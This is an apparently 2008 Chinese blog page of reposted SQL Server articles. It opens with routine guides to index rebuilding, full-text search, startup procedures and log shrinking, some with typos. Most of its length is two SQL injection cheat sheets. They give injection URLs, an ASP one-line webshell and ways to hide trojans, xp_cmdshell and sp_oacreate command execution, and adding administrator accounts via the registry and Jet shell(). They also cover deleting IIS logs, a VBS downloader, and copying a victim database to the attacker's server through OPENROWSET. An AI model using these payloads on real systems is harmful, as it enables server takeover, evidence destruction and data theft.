友好连接

2008年11月18日星期二

SQL Server 2000数据库中如何重建索引

在数据库中创建索引时,查询所使用的索引信息存储在索引页中。连续索引页由从一个页到下一个页的指针链接在一起。当对数据的更改影响到索引时,索引中的信息可能会在数据库中分散开来。重建索引可以重新组织索引数据(对于聚集索引还包括表数据)的存储,清除碎片。这可通过减少获得请求数据所需的页读取数来提高磁盘性能。

在 Microsoft® SQL Server™ 2000 中,如果要用一个步骤重新创建索引,而不想删除旧索引并重新创建同一索引,则使用 CREATE INDEX 语句的 DROP_EXISTING 子句可以提高效率。这一优点既适用于聚集索引也适用于非聚集索引。

以删除旧索引然后重新创建同一索引的方式重建聚集索引,是一种昂贵的方法,因为所有二级索引都使用聚集键指向数据行。如果只是删除聚集索引然后重新创建,则会使所有非聚集索引都被删除和重新创建两次。一旦删除聚集索引并再次重建该索引,就会发生这种情形。通过在一个步骤中重新创建索引,可以避免这一昂贵的做法。在一个步骤中重新创建索引时,会告诉 SQL Server 要重新组织现有索引,避免了删除和重新创建非聚集索引这些不必要的工作。该方法的另一个重要优点是可以使用现有索引中的数据排序次序,从而避免了对数据重新排序。这对于聚集索引和非聚集索引都十分有用,可以显著减少重建索引的成本。另外,通过使用 DBCC DBREINDEX 语句,SQL Server 还允许对一个表重建(在一个步骤中)一个或多个索引,而不必单独重建每个索引。




DBCC DBREINDEX 也可用于重建执行 PRIMARY KEY 或 UNIQUE 约束的索引,而不必删除并创建这些约束(因为对于为执行 PRIMARY KEY 或 UNIQUE 约束而创建的索引,必须先删除该约束,然后才能删除该索引)。例如,可能需要在 PRIMARY KEY 约束上重建一个索引,以便为该索引重建给定的填充因子。




一、如何在SQL中启用全文检索功能
1、验证全文检索服务是否安装
通过储存过程FULLTEXTSERVICEPROPERTY(返回有关全文服务级别属性的信息)来验证搜索服务(全文组件)是否安装。如Select fulltextserviceproperty (‘IsFullTextInstalled’):返回1表示已安装全文组件;返回0表示未安装全文组件;返回Null表示输入无效或发生错误。
2、启动全文检索服务(MircoSoft Search)
3、打开数据库全文索引的支持
为全文索引启用数据库:
Use Northwind
Exec sp_fulltext_database ‘enable’
从数据库中删除所有目录:
Use Northwind
Exec sp_fulltext_database ‘disable’
二、建立全文目录
1、创建全文目录
Use Northwind
Exec sp_fulltext_catalog 'ft_ Catalog ', 'create'
2、重建全文目录
Use Northwind
Exec sp_fulltext_catalog 'ft_ Catalog ', ' rebulid'
3、启动全文目录的填充
Use Northwind
Exec sp_fulltext_catalog 'ft_ Catalog ', 'start_full'
4、停止全文目录的填充
Use Northwind
Exec sp_fulltext_catalog 'ft_ Catalog ', 'stop'
5、删除全文目录
Use Northwind
PK_Products
Exec sp_fulltext_catalog 'ft_ Catalog ', 'drop'
三、为表建立全文索引数据元
1、建立的唯一索引
Use Northwind
Exec sp_fulltext_table 'Products','create', 'ft_ Catalog', ' PK_Products '
2、设置全文索引列名
Use Northwind
Exec sp_fulltext_table 'Products','create', 'ft_ Catalog', ' PK_Products '
3、设置全文索引列名
Use Northwind
Exec sp_fulltext_column ' Products ', ProductName', 'add'
Go
Exec sp_fulltext_column ' Products ', QuantityPerUnit', 'add'
Go
4、激活全文索引
Use Northwind
Exec sp_fulltext_table 'Products','activate
5、填充全文索引目录
Use Northwind
Exec sp_fulltext_catalog 'ft_ Catalog ', 'start_full'
四、使用Transact-SQL进行全文检索,我们使用CONTAINS、FREETEXT等谓词
1、检索ProductName中,即包含b又包含c的所有列
Use Northwind
SELECT *
FROM Products
WHERE CONTAINS(ProductName, '"c*" and "b*" ')
2、检索ProductName中,即包含chai chang tofu之一的所有列
Use Northwind
SELECT *
FROM Products
WHERE FREETEXT(ProductName, 'chai chang tofu ')
五、全文查询有关的系统存储过程
(1)启动数据库的全文处理功能(sp_fulltext_datebase);
(2)建立全文目录(sp_fulltext_catalog);
(3)在全文目录中注册需要全文索引的表(sp_fulltext_table);
(4)指出表中需要全文检索的列名(sp_fulltext_column)
(5)为表创建全文索引(sp_fulltext_table);
(6)填充全文索引(sp_fulltext_catalog)。
转自:http://www.cnblogs.com/junzhongxu/

无法在SQL 2005系统数据库中执行的T-SQL语句(XML处理)

下面的代码, 在兼容性级别90的所有用户数据库和tempdb库中都能执行, 但无法在系统数据库中执行, 执行会收到如下错误:




Msg 4121, Level 16, State 1, Line 2

Cannot find either column "dbo" or the user-defined function or aggregate "dbo.f_test", or the name is ambiguous.



看来系统数据库中做东西有门槛了, 不过, 如果不在计算列中引用函数, 直接在查询中引用函数是没有问题的, 所以不知道是否应该算 BUG


CREATE FUNCTION dbo.f_test(

@value xml

)RETURNS int


AS

BEGIN

RETURN @value.value('(//*)[1]', 'int')

END


GO





CREATE TABLE #(

col1 xml,

col2 as dbo.f_test(col1)

)


GO




DROP TABLE #

DROP FUNCTION dbo.f_test
转自:http://www.cnblogs.com/junzhongxu/

启动SQL SERVER时自动执行存储过程

将存储过程创建在master数据库中,然后企业管理器中找到这个存储过程--右键--属性--勾选"每当sql server启动时执行"。

或者在master中创建存储过程后,执行语句设置为自动启动




use master
  exec sp_procoption '存储过程名','startup','on'

自动执行存储过程


SQL Server 启动时可以自动执行一个或多个存储过程。这些存储过程必须由系统管理员创建,并在 sysadmin 固定服务器角色下作为后台过程执行。这些过程不能有任何输入参数。



对启动过程的数目没有限制,但是要注意,每个启动过程在执行时都会占用一个连接。如果必须在启动时执行多个过程,但不需要并行执行,则可以指定一个过程作为启动过程,让该过程调用其它过程。这样就只占用一个连接。

在启动时恢复了最后一个数据库后,即开始执行存储过程。若要跳过这些存储过程的执行,请将启动参数指定为跟踪标记 4022。如果以最低配置启动 SQL Server(使用 -f 标记),则启动存储过程也不会执行。有关更多信息,请参见跟踪标记。


若要创建启动存储过程,必须作为 sysadmin 固定服务器角色的成员登录,并在 master 数据库中创建存储过程。


使用 sp_procoption 可以:


将现有存储过程指定为启动过程。
转自:http://www.cnblogs.com/junzhongxu/

迅速帮你解决 SQL Server 日志满问题

1.清空日志:DUMP TRANSACTION 库名 WITH NO_LOG。



2.截断事务日志:BACKUP LOG 数据库名 WITH NO_LOG。


3.收缩数据库文件(如果不压缩,数据库的文件不会减小:

企业管理器->右键你要压缩的数据库->所有任务->收缩数据库->收缩文件->选择日志文件->在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了->选择数据文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了,也可以用SQL语句来完成。


--收缩数据库:DBCC SHRINKDATABASE(客户资料)



--收缩指定数据文件,1是文件号,可以通过这个语句查询到:select * from sysfiles DBCC SHRINKFILE(1)。


4.为了最大化的缩小日志文件(如果是SQL 7.0,这步只能在查询分析器中进行)。

a.分离数据库:企业管理器--服务器--数据库--右键--分离数据库。

b.在我的电脑中删除LOG文件。


c.附加数据库:企业管理器--服务器--数据库--右键--附加数据库。

此法将生成新的LOG,大小只有500多KB或用代码:

下面的示例分离pubs,然后将 pubs 中的一个文件附加到当前服务器。



a.分离:EXECsp_detach_db @dbname = 'pubs'。

b.删除日志文件

c.再附加:

以下为引用的内容:
EXECsp_attach_single_file_db
@dbname = 'pubs',
@physname =
'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf'


5.为了以后能自动收缩,做如下设置:



企业管理器->服务器->右键数据库->属性->选项->选择“自动收缩"->SQL语句设置方式:

EXEC sp_dboption '数据库名', 'autoshrink', 'TRUE'。



6.如果想以后不让它日志增长得太大:

企业管理器->服务器->右键数据库->属性->事务日志->将文件增长限制为xM(x是你允许的最大数据文件大小)。->SQL语句的设置方式:



alter database 数据库名 modify file(name=逻辑文件名,maxsize=20)。



特别注意:



请按步骤进行,未进行前面的步骤,请不要做后面的步骤,否则可能损坏你的数据库。



一般不建议做第4,6两步,第4步不安全,有可能损坏数据库或丢失数据;第6步如果日志达到上限,则以后的数据库处理会失败,在清理日志后才能恢复。

另外提供一种更简单的方法,建议使用。



更简单的方法:


1、右建数据库属性窗口--故障还原模型--设为简单。



2、右建数据库所有任务--收缩数据库。


3、右建数据库属性窗口--故障还原模型--设为大容量日志记录。
转自:http://www.cnblogs.com/junzhongxu/

SQL注入相关的命令整理二

21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

查看是否成功:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps



Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
inprocessisapiapps : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马:http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s

23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—


24、用echo写入文件下载脚本iget.vbs:
(1)echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp

25、手工建立IIS隐藏目录的方法:
? 查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
? 新建一个kiss目录:mkdir c:\asp\kiss
? 建立kiss虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"
? 为kiss目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
? ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
? 访问:http://127.0.0.1/kiss/test.asp



26、使用openrowset()连回本地做测试:
select a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM [dvbbs].[dbo].[dv_admin]') AS a



select * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM [dvbbs].[dbo].[dv_admin]')


27、获得主机名:
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

28、获得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user



29、普通用户获得WEBSHELL的方法之二:
? 打包:
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
解包,可以用于得到webshell:
? EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
? 读任意文件内容,要求有master的dbo权限:
EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp'



30、sa 权限下已知web路径直接备份数据库到web路径下



http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。


? 遍历系统的目录结构,分析结果并发现WEB虚拟目录,先创建一个临时表:temp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
? 接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
? 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
? 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表
? 如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
? 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。


31、一些sql中的扩展存储的总结:
xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia
xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups
xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn
xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123
dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\'



32、
USE MASTER
GO
create proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
end
/* create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
exec(@postcommand)
return @retval
GO


1。获得所有的存储过程的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2。获得所有的视图的脚本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4



33、DB_OWNER权限下的数据库备份方法
用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行
insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;', 'select * from 你建立的表) select * from 对方的表—
要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id>100
这样来弄吧
要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了
如果是SA权限可以利用下面的两个ASP程序来备份数据库:


sqlbackup1.asp


SQL Server 数据库的备份与恢复




选择操作:


数据库名:INPUT TYPE<="text" NAME="databas ename" value="<%=request("databas ename")%>">

文件路径:(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)






<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服务器
sqlname = "sa" '用户名
sqlpassword = "数据库密码" '密码
sqlLoginTimeout = 15 '登陆超时
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.createObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"
"
response.write err.description&"
"
end if
Response.write "备份成功!"
elseif act = "restore" then
'恢复时要在没有使用数据库时进行!
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.createObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"
"
response.write err.description&"
"
end if
rest.SQLRestore srv


Response.write "恢复成功!"
else
Response.write "没有选择操作"
end if
end if
%>




sqlbackup2.asp


采飞扬ASP备份MSSQL数据库程序 V1.0--QQ:79998575
































采飞扬ASP备份MSSQL数据库程序 V1.0
选择操作:



文件路径:
input name="bak_file" type="text" value="<% =server.MapPath("\")&"\"&"liuyes.bak"%>" size="60" />
(备份或恢复的文件路径)
<% Response.write "本文件绝对路径:" %>

<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>

input <
input






提示信息:
if request("action")="" then
response.write "<不用我多说什么了吧!"
end if
'SQL Server 数据库的备份与恢复!
if request("action")="backupdatabase" Then
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = trim(request("sqlserver"))
sqlname = trim(request("sqlname"))
sqlpassword =trim(request("sqlpassword"))


sqlLoginTimeout = 15
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "没有输入数据库名称!"
else
if act = "backup" then
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.createObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Action = 0
bak.Initialize = 1
'bak.Replace = True
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"
"
response.write err.description&"
"
end if
Response.write "备份成功!"


elseif act="restore" then
'恢复时要在没有使用数据库时进行!
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.createObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"
"
response.write err.description&"
"
end if
rest.SQLRestore srv
Response.write "恢复成功!"
else
Response.write "请选择备份或恢复!"
end if
end if
end if
%>

转自:http://www.cnblogs.com/junzhongxu/

SQL注入相关的命令整理一

1、 用^转义字符来写ASP(一句话木马)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ >c:\mu.asp';--
? echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp



2、 显示SQL系统版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in('firstsee')"的查询语句造成的。

4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--


5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'



6、 查看当前的数据库名称:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录



8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌



WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END



drop TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END


以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END



SQL下三种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'


(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程 xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切

? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

? 建立链接数据库'L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'


? 如何使用链接数据库:



使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
